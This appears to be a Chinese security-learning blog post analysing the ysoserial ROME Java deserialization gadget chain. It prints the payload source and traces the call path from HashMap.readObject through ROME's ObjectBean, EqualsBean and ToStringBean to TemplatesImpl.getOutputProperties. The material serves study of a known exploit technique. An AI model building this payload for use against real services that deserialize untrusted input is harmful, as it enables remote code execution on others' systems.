ROME反序列化|ysoserial学习(一)

ROME反序列化|ysoserial学习

image-20220908203657001

Gadget

/**
 *
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 *
 * @author mbechler
 *
 */

ysoserial源码

package ysoserial.payloads;

import javax.xml.transform.Templates;

import com.sun.syndication.feed.impl.ObjectBean;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {

    public Object getObject ( String command ) throws Exception {
        System.out.println("ROME getObject Start!!!");
        Object o = Gadgets.createTemplatesImpl(command);
        ObjectBean delegate = new ObjectBean(Templates.class, o);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
        return Gadgets.makeMap(root, root);
    }

    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(ROME.class, args);
    }

}
  1. 执行Object o = Gadgets.createTemplatesImpl(command);获得一个执行command的TemplatesImpl恶意类
  2. new一个ObjectBean作为delegate参数,将Templates.class恶意类作为beanClass参数
  3. new一个ObjectBean作为root参数, 将ObjectBean.class恶意类作为beanClass参数,上面的delegate作为obj
  4. root参数作为key写入到一个HashMap中(就是通过HashMap触发参数中key(也就是root参数)的hashCode函数)

这里看一下ROME的构造方法:

com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object)

    public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object, java.util.Set)

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

看一下三个Bean的构造函数, 就是分别设置三个Bean,各自的代码如下, 赋值_beanClass为构造函数第一个参数beanClass,赋值_obj为构造函数第二个参数obj(这点很重要,因为后面的调用链几乎都是这些Bean在起作用)

com.sun.syndication.feed.impl.EqualsBean#EqualsBean(java.lang.Class, java.lang.Object)

image-20220908220532509

com.sun.syndication.feed.impl.ToStringBean#ToStringBean(java.lang.Class, java.lang.Object)

image-20220908220554238

com.sun.syndication.feed.impl.CloneableBean#CloneableBean(java.lang.Object, java.util.Set)

image-20220908220617193

HashMap<K,V>.readObject(ObjectInputStream)

image-20220908221953393

HashMap<K,V>.hash(Object)

image-20220908222014511

这里的key就是root参数,触发它的hashCode方法

进入ROME::ObjectBean.hashCode()

image-20220908222410709

注意这里的this._equalsBean就是构造函数的第一个参数,这里就是root构造函数的参数的第一个参数ObjectBean.class,因此触发ObjectBean.beanHashCode

EqualsBean.beanHashCode()

image-20220908223120420

这里的this._obj就是构造root的时的第二个参数delegate,因此触发ObjectBean.toString

ObjectBean.toString

image-20220908223733286

这里的this_toStringBean也还是第一个参数ObjectBean.class,所以走到ObjectBean.toString函数

ToStringBean.toString(无参方法)

到这里存放了恶意类Templatesdelegate变量就开始起作用了,delegate变量被赋值放到了this._obj中,因此触发

image-20220908224257485

ToStringBean.toString(String)

image-20220908224800886

注意: 这里并不是使用org.apache.xalan.xsltc.trax.TemplatesImpl而是使用它的接口javax.xml.transform.Templates,否则直接会在yso的代码中中断,显示需要一个接口类型

image-20220908225037077

此外, 还有一点可能会有问题就是,即使在构造好了恶意的HashMap之后使用反射修改delegate_equalsBean,_toStringBean这两个Bean中的_beanClass变为TemplatesImpl也可能会出现问题, 因为这里的ToStringBean.toString(String)方法中是通过BeanIntrospector.getPropertyDescriptors获取类的全部getter方法,然后调用无参方法, 如果是在TemplatesImpl中有多个getter方法, 在其他getter参数的调用过程中可能会出错?(会不会我没试就不知道了)

image-20220908230159429

而反观TemplatesImplTemplates接口,就只定义了两个方法, 更是只有getOutputProperties这一个需要我们调用的方法是getter方法,因此可以说是刚好满足了

image-20220908230539557

TemplatesImpl.getOutputProperties

在上面通过BeanIntrospector.getPropertyDescriptorsTemplates接口获取了getOutputProperties方法,然后调用它的this._obj(存放也已代码的TemplatesImpl对象)的getOutputProperties方法

到这里后面就是标准的加载流程了因此ROME的跟踪到此结束

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇